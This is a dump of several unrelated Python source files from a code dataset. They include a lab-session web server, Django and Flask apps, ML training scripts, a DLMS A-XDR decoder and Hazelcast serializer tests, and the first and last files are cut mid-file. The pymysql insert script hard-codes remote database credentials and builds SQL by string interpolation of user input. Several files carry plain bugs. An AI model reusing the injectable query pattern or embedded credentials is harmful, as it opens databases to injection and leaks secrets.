)\n                sys.stdout.flush()\n            await asyncio.sleep(0.5)\n        if verbose:\n            sys.stdout.write(\"\\n\")\n\n    async def server_main_page(self, request):\n        print(\"[\", datetime.now(), request.remote, request.rel_url, \"]\")\n        if self.session_name:\n            context = {\"title\": self.session_name}\n        else:\n            context = {\"title\": \"pymanip\"}\n        response = aiohttp_jinja2.render_template(\"main.html\", request, context)\n        return response\n\n    async def server_logged_last_values(self, request):\n        data = [\n            {\n                \"name\": name,\n                \"value\": v[1],\n                \"datestr\": time.strftime(dateformat, time.localtime(v[0])),\n            }\n            for name, v in self.logged_last_values().items()\n        ]\n        return web.json_response(data)\n\n    async def server_get_parameters(self, request):\n        params = {k: v for k, v in self.parameters().items() if not k.startswith(\"_\")}\n        return web.json_response(params)\n\n    async def server_plot_page(self, request):\n        print(\"[\", datetime.now(), request.remote, request.rel_url, \"]\")\n        context = {\"name\": request.match_info[\"name\"]}\n        response = aiohttp_jinja2.render_template(\"plot.html\", request, context)\n        return response\n\n    async def server_data_from_ts(self, request):\n        data_in = await request.json()\n        last_ts = data_in[\"last_ts\"]\n        name = data_in[\"name\"]\n        timestamps, values = self.logged_data_fromtimestamp(name, last_ts)\n        data_out = list(zip(timestamps, values))\n        # print('from', last_ts, data_out)\n        return web.json_response(data_out)\n\n    async def server_current_ts(self, request):\n        return web.json_response({\"now\": datetime.now().timestamp()})\n\n    async def mytask(self, corofunc):\n        print(\"Starting task\", corofunc)\n        while self.running:\n            await corofunc(self)\n        print(\"Task finished\", corofunc)\n\n    def run(self, *tasks, server_port=6913, custom_routes=None, custom_figures=None):\n        loop = asyncio.get_event_loop()\n        self.custom_figures = custom_figures\n\n        # signal handling\n        self.running = True\n        if sys.platform == \"win32\":\n            # loop.add_signal_handler raises NotImplementedError\n            signal.signal(signal.SIGINT, self.ask_exit)\n        else:\n            for signame in (\"SIGINT\", \"SIGTERM\"):\n                loop.add_signal_handler(getattr(signal, signame), self.ask_exit)\n\n        # web server\n        if server_port:\n            app = web.Application(loop=loop)\n            aiohttp_jinja2.setup(app, loader=self.jinja2_loader)\n            app.router.add_routes(\n                [\n                    web.get(\"/\", self.server_main_page),\n                    web.get(\"/api/logged_last_values\", self.server_logged_last_values),\n                    web.get(\"/plot/{name}\", self.server_plot_page),\n                    web.static(\"/static\", self.static_dir),\n                    web.post(\"/api/data_from_ts\", self.server_data_from_ts),\n                    web.get(\"/api/server_current_ts\", self.server_current_ts),\n                    web.get(\"/api/get_parameters\", self.server_get_parameters),\n                ]\n            )\n            if custom_routes:\n                app.router.add_routes(custom_routes)\n\n            webserver = loop.create_server(\n                app.make_handler(), host=None, port=server_port\n            )\n\n        # if any of the tasks submitted are coroutinefunctions instead of\n        # coroutines, then assume they take only one argument (self)\n        tasks_final = list()\n        for t in tasks:\n            if asyncio.iscoroutinefunction(t):\n                tasks_final.append(self.mytask(t))\n            elif asyncio.iscoroutine(t):\n                tasks_final.append(t)\n            else:\n                raise TypeError(\"Coroutine or Coroutinefunction is expected\")\n        print(\"Starting event loop\")\n        if server_port:\n            loop.run_until_complete(\n                asyncio.gather(webserver, self.figure_gui_update(), *tasks_final)\n            )\n        else:\n            loop.run_until_complete(\n                asyncio.gather(self.figure_gui_update(), *tasks_final)\n            )\n\n    def save_remote_data(self, data):\n        \"\"\"\n        Save data from RemoteObserver object as datasets and parameters\n        \"\"\"\n        for k, v in data.items():\n            # print(k,type(v),v)\n            try:\n                v[0]\n                iterable = True\n            except (TypeError, KeyError):\n                iterable = False\n            if iterable:\n                # we are iterable\n                self.add_dataset(**{k: v})\n            else:\n                # we are not iterable\n                if isinstance(v, dict):\n                    # non reduced data, v is a dictionnary with two keys, 't' and 'value'\n                    self.add_dataset(**{k: v[\"value\"]})\n                    self.add_dataset(**{k + \"_time\": v[\"t\"]})\n                else:\n                    try:\n                        # data must be a scalar\n                        float(v)\n                    except TypeError:\n                        print(\"skipping\", k, type(v))\n                        continue\n                    self.save_parameter(**{k: v})\n\n\nclass RemoteObserver:\n    \"\"\"\n    Remote observation of a running async session\n    \"\"\"\n\n    def __init__(self, host, port=6913):\n        self.host = host\n        self.port = port\n\n    def _get_request(self, apiname):\n        url = \"http://{host:}:{port:}/api/{api:}\".format(\n            host=self.host, port=self.port, api=apiname\n        )\n        r = requests.get(url)\n        try:\n            return r.json()\n        except json.decoder.JSONDecodeError:\n            print(r.text)\n            raise\n\n    def _post_request(self, apiname, params):\n        url = \"http://{host:}:{port:}/api/{api:}\".format(\n            host=self.host, port=self.port, api=apiname\n        )\n        r = requests.post(url, json=params)\n        try:\n            return r.json()\n        except json.decoder.JSONDecodeError:\n            print(r.text)\n            raise\n\n    def get_last_values(self):\n        \"\"\"\n        Client function to grab the last set of values from\n        a remote running async session\n        \"\"\"\n\n        data = self._get_request(\"logged_last_values\")\n        return {d[\"name\"]: d[\"value\"] for d in data}\n\n    def start_recording(self):\n        self.server_ts_start = self._get_request(\"server_current_ts\")[\"now\"]\n        data = self.get_last_values()\n        self.remote_varnames = list(data.keys())\n\n    def stop_recording(self, reduce_time=True, force_reduce_time=True):\n        recordings = dict()\n        for varname in self.remote_varnames:\n            data = self._post_request(\n                \"data_from_ts\",\n                params={\"name\": varname, \"last_ts\": self.server_ts_start},\n            )\n            if len(data) > 0:\n                recordings[varname] = {\n                    \"t\": [d[0] for d in data],\n                    \"value\": [d[1] for d in data],\n                }\n        if reduce_time:\n            t = recordings[self.remote_varnames[0]][\"t\"]\n            if (\n                all([recordings[varname][\"t\"] == t for varname in recordings])\n                or force_reduce_time\n            ):\n                recordings = {k: v[\"value\"] for k, v in recordings.items()}\n                recordings[\"time\"] = t\n            else:\n                print(\"t =\", t)\n                pprint(\n                    {\n                        varname: recordings[varname][\"t\"] == t\n                        for varname in self.remote_varnames\n                    }\n                )\n        parameters = self._get_request(\"get_parameters\")\n        recordings.update(parameters)\n\n        return recordings\n\n\nif __name__ == \"__main__\":\n    with AsyncSession(\"Essai\") as sesn:\n        sesn.add_entry(a=1, b=2)\n        sesn.save_parameter(c=3)\n        sesn.plot(\"a\")\n","sub_path":"pymanip/asyncsession.py","file_name":"asyncsession.py","file_ext":"py","file_size_in_byte":33682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"211413670","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom .models import Phone, PhoneCPages, PhoneCDetails\nfrom django.db.models import Avg\n\ndef phone_comments(request):\n    ###  从models取数据传给template  ###\n    comments = PhoneCDetails.objects.all()\n    # 评论数量\n    counter = PhoneCDetails.objects.all().count()\n\n    # 情感倾向\n    sent_avg =f\" {PhoneCDetails.objects.aggregate(Avg('comment_sentiments'))['sentiment__avg']:0.2f} \"\n\n    # 正向数量\n    queryset = PhoneCDetails.objects.values('comment_sentiments')\n    condtions = {'sentiment__gte': 0.5}\n    plus = queryset.filter(**condtions).count()\n\n    # 负向数量\n    queryset = PhoneCDetails.objects.values('comment_sentiments')\n    condtions = {'sentiment__lt': 0.5}\n    minus = queryset.filter(**condtions).count()\n\n\n    return render(request, 'result.html', locals())","sub_path":"week10/PCDjango/djcron/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"494485871","text":"from __future__ import print_function\nimport tensorflow as tf \nimport numpy as np \nimport cPickle\nfrom tensorflow.contrib import slim\n\n#Load features and labels\nfeatures = cPickle.load(open('nn_features.p', 'rb'))\nval_features = cPickle.load(open('nn_val_features.p', 'rb'))\nlabels = cPickle.load(open('labels.p', 'rb'))\n\n#to normalize submatrix which is not sparse\nl = [i for i in range(143, features.shape[1])]\nmu = np.mean(features, axis=0)\nstd = np.mean(features, axis=0)\nfeatures[:,l] = (features[:,l] - mu[l]) / std[l]\nval_features[:,l] = (val_features[:,l] - mu[l]) / std[l]\n\n\nmask = np.random.choice(features.shape[0], features.shape[0], replace=False)\nfeatures = features[mask]\nlabels = labels[mask]\n\npositive_mask = []\nnegative_mask = []\nfor i in range(labels.shape[0]):\n\tif np.array_equal(labels[i], [0,1]):\n\t\tpositive_mask.append(i)\n\telse:\n\t\tnegative_mask.append(i)\npos_features = features[positive_mask]\npos_labels = labels[positive_mask]\nneg_features = features[negative_mask]\nneg_labels = labels[negative_mask]\n\n#change these values later\nlearning_rate = 0.001\ntraining_epochs = 700\ndisplay_step = 1\nin_dim = features.shape[1]\nn_samples = features.shape[0]\nbatch_size = 128\nnum_features = features.shape[1]\nnum_classes = labels.shape[1]\nn_hidden1 = 256\nn_hidden2 = 256\nn_hidden3 = 256\nreg_strength = 5e-4\ndropout_rate = 0.5\n\n#define placeholder for our input\nX = tf.placeholder(\"float\", [None, num_features])\nY = tf.placeholder(\"float\", [None, num_classes])\n#drop_p = tf.placeholder(tf.float32)\n\ndef model(x):\n    layer = slim.fully_connected(x,n_hidden1, weights_initializer=tf.truncated_normal_initializer(stddev=0.01),\n                               weights_regularizer=slim.l2_regularizer(reg_strength),scope='hidden1')\n    layer = slim.batch_norm(layer, scope='bn1')\n    layer = slim.dropout(layer, dropout_rate, scope='dropout1')\n    layer = slim.fully_connected(layer,n_hidden2, weights_initializer=tf.truncated_normal_initializer(stddev=0.01),\n                               weights_regularizer=slim.l2_regularizer(reg_strength),scope='hidden2')\n    layer = slim.batch_norm(layer, scope='bn2')\n    layer = slim.dropout(layer, dropout_rate, scope='dropout2')\n    layer = slim.fully_connected(layer,n_hidden3, weights_initializer=tf.truncated_normal_initializer(stddev=0.01),\n                               weights_regularizer=slim.l2_regularizer(reg_strength),scope='hidden3')\n    out_layer = slim.fully_connected(layer,num_classes, activation_fn=None, weights_initializer=tf.truncated_normal_initializer(stddev=0.01),\n                               weights_regularizer=slim.l2_regularizer(reg_strength),scope='out_layer')\n    return out_layer\n\nrecommendor = model(X)\nloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(recommendor, Y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(loss)\n\nprobabilities = tf.nn.softmax(recommendor)\n\n# Initializing the variables\ninit = tf.initialize_all_variables()\n\n# Launch the graph\nwith tf.Session() as sess:\n    sess.run(init)\n    # Training cycle\n    for epoch in range(training_epochs):\n        avg_loss = 0.\n        total_batch = int(features.shape[0]/batch_size)\n        # Loop over all batches\n        start = 0\n        end = batch_size\n        for i in range(total_batch):\n            #batch_x, batch_y = features[start:end], labels[start:end]\n            pos_mask = np.random.choice(pos_features.shape[0], batch_size/2, replace=False)\n            neg_mask = np.random.choice(neg_features.shape[0], batch_size/2, replace=False)\n            batch_x = np.vstack((pos_features[pos_mask], neg_features[neg_mask]))\n            batch_y = np.vstack((pos_labels[pos_mask], neg_labels[neg_mask]))\n            shuffle = np.random.choice(batch_x.shape[0], batch_x.shape[0], replace=False)\n            batch_x = batch_x[shuffle]\n            batch_y = batch_y[shuffle]\n            # Run optimization op (backprop) and loss op (to get loss value)\n            _, c = sess.run([optimizer, loss], feed_dict={X: batch_x,\n                                                          Y: batch_y})\n            # Compute average loss\n            avg_loss += c / total_batch\n            start = end\n            end += batch_size\n        # Display logs per epoch step\n        if epoch % display_step == 0:\n            print(\"Epoch:\", '%04d' % (epoch+1), \"loss=\", \\\n                \"{:.9f}\".format(avg_loss))\n    print(\"Optimization Finished!\")\n    probs = sess.run(probabilities, feed_dict={X: val_features})\n\nprint('Probabilies: ', probs[:,1])\nf = open('validate_nolabel.txt', 'r')\nheader = f.readline()\ncontent = f.readlines()\nf.close()\nf = open('nn_val_res.txt', 'w')\nf.write(header + '\\n')\nfor i in range(len(content)):\n\tdata = content[i].replace('\\n', '').replace('\\r', '')\n\tdata += ',' + str(probs[i,1]) + '\\n'\n\tf.write(data)\nf.close()","sub_path":"code/neural_recommendation.py","file_name":"neural_recommendation.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"543312675","text":"import numpy as np\n\n\n\ndef create_pascal_label_colormap():\n    \"\"\"Creates a label colormap used in PASCAL VOC segmentation benchmark.\n\n        Returns:\n        A Colormap for visualizing segmentation results.\n    \"\"\"\n    colormap = np.zeros((256, 3), dtype=int)\n    ind = np.arange(256, dtype=int)\n\n    for shift in reversed(range(8)):\n        for channel in range(3):\n            colormap[:, channel] |= ((ind >> channel) & 1) << shift\n            ind >>= 3\n\n    return colormap\n\n\ndef label_to_color_image(label):\n    \"\"\"Adds color defined by the dataset colormap to the label.\n\n        Args:\n            label: A 2D array with integer type, storing the segmentation label.\n\n        Returns:\n            result: A 2D array with floating type. The element of the array\n            is the color indexed by the corresponding element in the input label\n            to the PASCAL color map.\n\n        Raises:\n            ValueError: If label is not of rank 2 or its value is larger than color\n            map maximum entry.\n    \"\"\"\n    if label.ndim != 2:\n        raise ValueError('Expected 2-D input label')\n\n    colormap = create_pascal_label_colormap()\n\n    if np.max(label) >= len(colormap):\n        raise ValueError('label value too large.')\n\n    return colormap[label]\n\n\ndef extract_segment_from_image(image, segment):\n\n    \"\"\"Extracts a subimage according to the segmented area\n            Args:\n            image: A 2D array of RGB integer values that describe\n            the original (resized) image.\n\n            segment: A 2D array of integer values that describe the\n            segmented areas of the image.\n\n        Returns:\n            return segment_out: A 3D array of RGB integer values that describe\n            each of the extracted segments from the original image.\n\n        Raises:\n            ValueError: If image is not of rank 3 or if segment is not of rank 2\n            RunTimeError: If the 2d dimensions of the segment and\n            the original image are not the same\n    \"\"\"\n    if image.ndim != 3:\n        raise ValueError('Expected 2-D RGB image')\n    if segment.ndim != 2:\n        raise ValueError('Expected 2-D segment')\n\n    if image.shape[:2] != segment.shape:\n        raise RunTimeError('Image and segment are not same size')\n\n    unique_segments = np.unique(segment)\n    print(unique_segments)\n    segment_out_shape = (len(unique_segments), ) + image.shape\n    segment_out = np.zeros(segment_out_shape, dtype=np.uint8)\n    dim = image.shape[:2]\n    percentages_filled = np.zeros(len(unique_segments), dtype=np.float)\n    \n    for h in range(len(unique_segments)):\n        for i in range(image.shape[0]):\n            for j in range(image.shape[1]):\n                if segment[i][j] == unique_segments[h]:\n                    segment_out[h][i][j] = image[i][j]\n                    percentages_filled[h] += 1                  \n                    \n    print(\"before: \", percentages_filled)\n    print(\"dim: \", dim)\n    percentages_filled /= (dim[0] * dim[1])\n    print(\"after: \", percentages_filled)\n    print(\"sum: \", np.sum(percentages_filled))\n    return segment_out, percentages_filled\n","sub_path":"utils/segment.py","file_name":"segment.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"532447507","text":"from flask import Flask, render_template\nimport datetime\nimport RPi.GPIO as GPIO\nimport tempSensor\n\napp = Flask(__name__)\nGPIO.cleanup()\npin_list = [17,27,22,23]\nGPIO.setmode(GPIO.BCM)\ntry:\n  GPIO.setup(pin_list, GPIO.OUT, initial=GPIO.HIGH)\n  #GPIO.setup(pin_list, GPIO.HIGH)\nexcept:\n  print (\"error: gpio not set up right\")\n  GPIO.cleanup()\n  GPIO.setup(pin_list, GPIO.OUT, initial=GPIO.HIGH)\nfinally: \n  print (\"reached finally\")\n\nsetPoint = 20\n\n@app.route(\"/\")\ndef index():\n  #now = datetime.datetime.now()\n  #timeString = now.strftime(\"%Y-%m-%d %H:%M\")\n  templateData = returnData()\n  return render_template('index.html', **templateData)\n\n@app.route(\"/relay/<pin>/\")\ndef relay(pin):\n  currentPin = int(pin)\n  print (\"relaypowered : \" + str(not GPIO.input(currentPin)))\n  if GPIO.input(currentPin):\n    GPIO.output(currentPin, GPIO.LOW)\n  else:\n    GPIO.output(currentPin, GPIO.HIGH)\n # return \"relaypowered : \" + str(not GPIO.input(currentPin))\n  return index()\n      \n@app.route('/temperature/<actionType>', methods=[\"GET\"])\ndef button(actionType):\n    global setPoint\n    if actionType == \"up\": \n      setPoint += 1\n    elif actionType == \"down\":\n      setPoint -= 1\n    return render_template(\"index.html\", returnData())\n\n@app.route(\"/exit/\")\ndef exit():\n  GPIO.cleanup()\n  sys.exit()\n\ndef returnData():\n  global setPoint\n  templateData = {\n    #'title' : 'HELLO!',\n    #'time': timeString,\n    relay17: not GPIO.input(17),\n    relay22: not GPIO.input(22),\n    relay23: not GPIO.input(23),\n    relay27: not GPIO.input(27),\n    temperature: tempSensor.getTemp(\"C\"),\n    setPoint: setPoint\n  }\n  return templateData\n    \n\ntry:\n  if __name__ == \"__main__\":\n    print (\"tempSensor file location: \" + tempSensor.device_file )\n    tempSensor.temp_sensor_init()\n    print (\"tempSensor file location: \" + tempSensor.device_file)\n    temperatures = tempSensor.read_temp()\n    print (\"temperature: \" + str(temperatures[0]) + \"C\" + str(temperatures[1]) + \"F\")\n    app.run(host='0.0.0.0', port=80, debug=False)\nexcept KeyboardInterrupt:\n  print (\"keyboard inturrupt\")\nfinally:\n  print (\"exiting with cleanup\")\n  GPIO.cleanup()\n\n","sub_path":"flask-gpio.py","file_name":"flask-gpio.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"11092286","text":"import pymysql\n\n# Open database connection\ndb = pymysql.connect('remotemysql.com', 'g8MjlBGOHf','FMpJJWxnXd','g8MjlBGOHf')\n\n# prepare a cursor object using cursor() method\ncursor = db.cursor()\n\n# Prepare SQL query to INSERT a record into the database.\n\n\ntry:\n   nim=input(\"nim = \")\n   nama=input (\"nama:\")\n\n   sql = \"INSERT INTO mahasiswa (nim, nama) VALUES ('%s', '%s')\" %(nim, nama)\n   # Execute the SQL command\n   cursor.execute(sql)\n   # Commit your changes in the database\n   db.commit()\nexcept:\n   # Rollback in case there is any error\n   db.rollback()\n\n# disconnect from server\ndb.close()","sub_path":"insert.py","file_name":"insert.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"368694994","text":"import docx\nimport PyPDF2\nfrom pathlib import Path\nimport numpy as np\nfrom gensim.models.phrases import Phrases, ENGLISH_CONNECTOR_WORDS\nfrom gensim.models.doc2vec import Doc2Vec\nfrom nltk.tokenize import word_tokenize, sent_tokenize\n\n\ndef cosineSimilarity(A, B):\n    return np.dot(A, B)/(np.linalg.norm(A)*np.linalg.norm(B))\n\n\ndef phraseTransform(sentences):\n    words = list(map(word_tokenize, sentences))\n    phrase_model = Phrases(words, min_count=5, threshold=0.5,\n                           connector_words=ENGLISH_CONNECTOR_WORDS)\n    converted_words = [phrase_model[sent] for sent in words]\n    converted_sentences = [\" \".join(w) for w in converted_words]\n    return converted_sentences\n\n\ndef readDocx(document):\n    document = docx.Document(document)\n    paragraphs = [para.text.lower() for para in document.paragraphs]\n    sentences = list()\n    for p in paragraphs:\n        sentences.extend(sent_tokenize(p))\n    return sentences\n\n\ndef readPDF(document):\n    pdfFileObj = open(document, 'rb')\n    pdfReader = PyPDF2.PdfFileReader(pdfFileObj)\n    pages = [pdfReader.getPage(page).extractText().lower()\n             for page in range(pdfReader.numPages)]\n    sentences = list()\n    for p in pages:\n        sentences.extend(sent_tokenize(p))\n    return sentences\n\n\ndef readOther(document):\n    with open(document) as f:\n        content = f.read().lower().strip()\n    sentences = sent_tokenize(content)\n    return sentences\n\n\ndef getText(document):\n    p = Path(document)\n    extension = p.suffix\n    if extension == \".docx\":\n        return readDocx(document)\n    elif extension == \".pdf\":\n        return readPDF(document)\n    else:\n        return readOther(document)\n\n\ndef createDoc2VecModel(train_text, phrase=False):\n    model = Doc2Vec(vector_size=300, window=2, epochs=20, min_count=1, seed=0)\n    model.build_vocab(train_text)\n    model.train(train_text, total_examples=model.corpus_count, epochs=50)\n    return model","sub_path":"src/doc2sim.py","file_name":"doc2sim.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"417832721","text":"\"\"\"\nA XDR (IEC 61334-6is an Adapted External Data Represerntation Standard\n(XDR for DLMS)\n\nIt usage is for the reduction of APDU sizes and saving bandwidth by eliminating\ndata that is already known to both sender and receiver.\n\nFor example in comparison to BER encoding where the length of data is encoded\nusing A-XDR the lenght byte could be ommited if both sender and receiver are\naware of the lenght of an integer. (2 bytes for example.)\n\nIt is used to encode xDLMS APDUs.\n\nIt is not used for AARQ, AARE, RLRQ, and RLRE. (BER is used)\n\n.. note:\n    The InititiateRequest the above requests and responses is an xDLMS APDU and\n    uses A-XDR.\n\n\nOptional Values can be omitted by encoding 0x00 in its place. If a value is used\nit should be preceded with 0x01. (0x01+data)\n\nDefault values are encoded with 0x00 if using the default and 0x01+data if\nusing non default.\n\nEncoding integers: A-XDR makes it possible to encode with a fixed range and a\nvariable range.\n\nFixed range integers are encoded with the minimum number of bytes needed to fit\nthe value range.\n\nVariable range integers use the leftmost bit to control the encoding.\nleftmost bit = 0. Value < 128 , value can be encoded in one byte\nleftmost bit = 1. The whole leftmost byte is used to indicate the lenght of the\ninteger data. ex 0b10000010 -> 2 bytes after this is the integer. 0x820xff0xff = 65535\n\n\n\"\"\"\n\nimport attr\nimport typing\nfrom dlms_cosem.protocol.dlms_data import DlmsDataFactory, DlmsData\n\n\ndef decode_variable_integer(bytes_input: bytes):\n    \"\"\"\n    If the length is fitting in 7 bits it can be encoded in 1 bytes.\n    If it is larger then 7 bybitstes the last bit of the first byte indicates\n    that the length of the lenght is encoded in the first byte and the length\n    is encoded in the following bytes.\n    Ex. 0b00000010 -> Length = 2\n    Ex 0b100000010, 0b000001111, 0b11111111 -> Lenght = 4095\n    :param bytes_input: Input where the variable integer is at the beginning of\n    the bytes\n    :return: First variable integer the function finds. and the residual bytes\n    \"\"\"\n\n    # is the length encoded in single byte or mutliple?\n    is_mutliple_bytes = bool(bytes_input[0] & 0b10000000)\n    if is_mutliple_bytes:\n        length_length = int(bytes_input[0] & 0b01111111)\n        length = int(bytes_input[1:(length_length + 1)])\n        return length, bytes_input[length_length + 1:]\n\n    else:\n        length = int(bytes_input[0] & 0b01111111)\n        return length, bytes_input[1:]\n\n\n@attr.s\nclass DataSequenceEncoding:\n    attribute_name: str = attr.ib()\n\n\nclass AXdrEncoding:\n    attribute_name = attr.ib()\n\n\n@attr.s\nclass AttributeEncoding(AXdrEncoding):\n    attribute_name: str = attr.ib()\n    instance_class = attr.ib()\n    return_value = attr.ib(default=False)\n    wrap_end = attr.ib(default=False)  # Maybe name wrapper?\n    length: int = attr.ib(default=None)\n    default: any = attr.ib(default=None)\n    optional: bool = attr.ib(default=False)\n\n\n@attr.s\nclass SequenceEncoding(AXdrEncoding):\n    attribute_name: str = attr.ib()\n    instance_factory: DlmsDataFactory = attr.ib(default=DlmsDataFactory)\n\n\n@attr.s\nclass EncodingConf:\n    attributes: typing.List[AXdrEncoding] = attr.ib()\n\n\nclass AXdrDecoder:\n\n    def __init__(self, encoding_conf):\n\n        self.encoding_conf: EncodingConf = encoding_conf\n\n    def decode(self, bytes_data: bytes):\n        \"\"\"\n        return a dict to instantiate the class with\n        \"\"\"\n        # print(bytes_data)\n        in_data = bytes_data[:]  # copy so we don't work in the actual data.\n        # print(in_data)\n\n        out_dict = dict()\n\n        for attribute in self.encoding_conf.attributes:\n\n            key = attribute.attribute_name\n\n            # print(b'To decode' + in_data)\n\n            if isinstance(attribute, AttributeEncoding):\n\n                data, rest = self._decode_attribute(in_data, attribute)\n\n                if attribute.return_value:\n                    data = data.value\n\n            elif isinstance(attribute, SequenceEncoding):\n\n                data, rest = self._decode_sequence(in_data, attribute)\n            else:\n                raise NotImplemented(f'Attribute: {attribute} is not supported')\n\n            in_data = rest\n            out_dict.update({key: data})\n\n        return out_dict\n\n    def _decode_attribute(self, in_data, attribute):\n\n        #print(b'parsing data: ' + in_data)\n        #print(f'Attribute: {attribute}')\n\n        first_byte = in_data[0]\n\n        if first_byte == 0 and attribute.optional:\n            data = None  # Should this be a nulldata instead?\n            return data, in_data[1:]\n\n        elif first_byte == 0 and attribute.default is not None:\n            data = attribute.default\n            return data, in_data[1:]\n\n        elif first_byte == 1 and (attribute.optional or attribute.default):\n            # a value is existing and is after the 0x01\n            in_data = in_data[1:]  # remove the first byte\n\n        # Check if length is known.\n        if attribute.length:\n            attribute_data = in_data[:attribute.length]\n            data = attribute.instance_class.from_bytes(attribute_data)\n            return data, in_data[attribute.length:]\n\n        if attribute.wrap_end:\n            attribute_data = in_data\n            data = attribute.instance_class.from_bytes(attribute_data)\n            return data, b''\n\n        # first byte indicates length.\n        attribute_data = in_data[1:(first_byte + 1)]\n        data = attribute.instance_class.from_bytes(attribute_data)\n        return data, in_data[(first_byte + 1):]\n\n    def _decode_sequence(self, bytes_data: bytes, attribute):\n        in_data = bytes_data[:]  # copy so not to mess with initial data\n        data_list = list()\n\n        while in_data:\n            first_obj, rest = self._get_first(in_data)\n\n            data_list.append(first_obj)\n            in_data = rest\n\n        return data_list, in_data\n\n    def _get_tag(self, bytes_data: bytes):\n        return bytes_data[0]\n\n    def _get_length(self, tag, bytes_data):\n        \"\"\"\n        If we know the length of the data it will not be encoded. But it the data is\n        of a type where the length cannot be predetermined we need to decode the\n        lenght. This is done by the same way the DLMS way to encode and decode\n        variable integers\n\n        \"\"\"\n        data_cls = DlmsDataFactory.get_data_class(tag)\n        if data_cls.LENGTH is None:\n            length, rest = decode_variable_integer(bytes_data[1:])\n            return length, rest\n\n        else:\n            return data_cls.LENGTH, bytes_data[1:]\n\n    def _get_tag_length_value(self, bytes_data: bytes):\n\n        tag = self._get_tag(bytes_data)\n        length, rest = self._get_length(tag, bytes_data)\n        value = rest[:length]\n        rest = rest[length:]\n        return tag, length, value, rest\n\n    def _get_first(self, bytes_data: bytes):\n\n        tag, length, value, rest = self._get_tag_length_value(bytes_data)\n\n        data_cls = DlmsDataFactory.get_data_class(tag)\n\n        data = data_cls(value, length=length)\n\n        return data, rest\n\n    def encode(self, to_encode):\n        raise NotImplemented('Encoding objects to A-XDR is not yet supported.')\n\n\nclass DlmsDataToPythonConverter:\n\n    def __init__(self, encoding_conf: typing.List[DlmsData]):\n        self.encoding_conf = encoding_conf\n\n    def to_python(self):\n        out_list = list()\n        for item in self.encoding_conf:\n            out_list.append(item.value)\n\n        return out_list\n\n    def to_dlms(self, data: typing.List):\n        raise NotImplemented(\n            'Not yet supported to convert python values to DLMS')\n","sub_path":"dlms_cosem/protocol/a_xdr.py","file_name":"a_xdr.py","file_ext":"py","file_size_in_byte":7610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"116191116","text":"import binascii\n\nfrom hazelcast import six\nfrom hazelcast.core import HazelcastJsonValue\nfrom hazelcast.config import SerializationConfig, INTEGER_TYPE\nfrom hazelcast.serialization.data import Data\nfrom hazelcast.serialization.serialization_const import CONSTANT_TYPE_DOUBLE\nfrom hazelcast.serialization.service import SerializationServiceV1\nfrom tests.base import SingleMemberTestCase\nfrom tests.hzrc.ttypes import Lang\n\n\nclass SerializersTestCase(SingleMemberTestCase):\n    def setUp(self):\n        config = SerializationConfig()\n        config.default_integer_type = INTEGER_TYPE.BIG_INT\n        self.service = SerializationServiceV1(serialization_config=config)\n\n    def tearDown(self):\n        self.service.destroy()\n\n    def test_none_serializer(self):\n        none = None\n        data_n = self.service.to_data(none)\n        self.assertIsNone(data_n)\n        self.assertIsNone(self.service.to_object(Data()))\n\n    def test_boolean_serializer(self):\n        true = True\n        false = False\n        data_t = self.service.to_data(true)\n        data_f = self.service.to_data(false)\n\n        obj_t = self.service.to_object(data_t)\n        obj_f = self.service.to_object(data_f)\n        self.assertEqual(true, obj_t)\n        self.assertEqual(false, obj_f)\n\n    def test_char_type_serializer(self):\n        buff = bytearray(binascii.unhexlify(\"00000000fffffffb00e7\"))\n        data = Data(buff)\n        obj = self.service.to_object(data)\n        self.assertEqual(six.unichr(0x00e7), obj)\n\n    def test_float(self):\n        buff = bytearray(binascii.unhexlify(\"00000000fffffff700000000\"))\n        data = Data(buff)\n        obj = self.service.to_object(data)\n        self.assertEqual(0.0, obj)\n\n    def test_double(self):\n        double = 1.0\n        data = self.service.to_data(double)\n        obj = self.service.to_object(data)\n        self.assertEqual(data.get_type(), CONSTANT_TYPE_DOUBLE)\n        self.assertEqual(double, obj)\n\n    def test_datetime(self):\n        year = 2000\n        month = 11\n        day = 15\n        hour = 23\n        minute = 59\n        second = 49\n        script = \"\"\"\nfrom java.util import Date, Calendar\ncal = Calendar.getInstance()\ncal.set({}, ({}-1), {}, {}, {}, {})\nresult=instance_0.getSerializationService().toBytes(cal.getTime())\n\"\"\".format(year, month, day, hour, minute, second)\n        response = self.rc.executeOnController(self.cluster.id, script, Lang.PYTHON)\n        data = Data(response.result)\n        val = self.service.to_object(data)\n        self.assertEqual(year, val.year)\n        self.assertEqual(month, val.month)\n        self.assertEqual(day, val.day)\n        self.assertEqual(hour, val.hour)\n        self.assertEqual(minute, val.minute)\n        self.assertEqual(second, val.second)\n\n    def test_hazelcast_json_vale(self):\n        json_value = HazelcastJsonValue('{\"key\": \"value\"}')\n        json_data = self.service.to_data(json_value)\n        json_deserialized = self.service.to_object(json_data)\n        self.assertEqual(json_value.to_string(), json_deserialized.to_string())\n\n    def test_big_int_small(self):\n        self._big_int_test(12)\n\n    def test_big_int_small_neg(self):\n        self._big_int_test(-13)\n\n    def test_big_int(self):\n        self._big_int_test(1234567890123456789012345678901234567890)\n\n    def test_big_int_neg(self):\n        self._big_int_test(-1234567890123456789012345678901234567890)\n\n    def _big_int_test(self, big_int):\n        script = \"\"\"from java.math import BigInteger\nresult=instance_0.getSerializationService().toBytes(BigInteger(\"{}\",10))\"\"\".format(big_int)\n        response 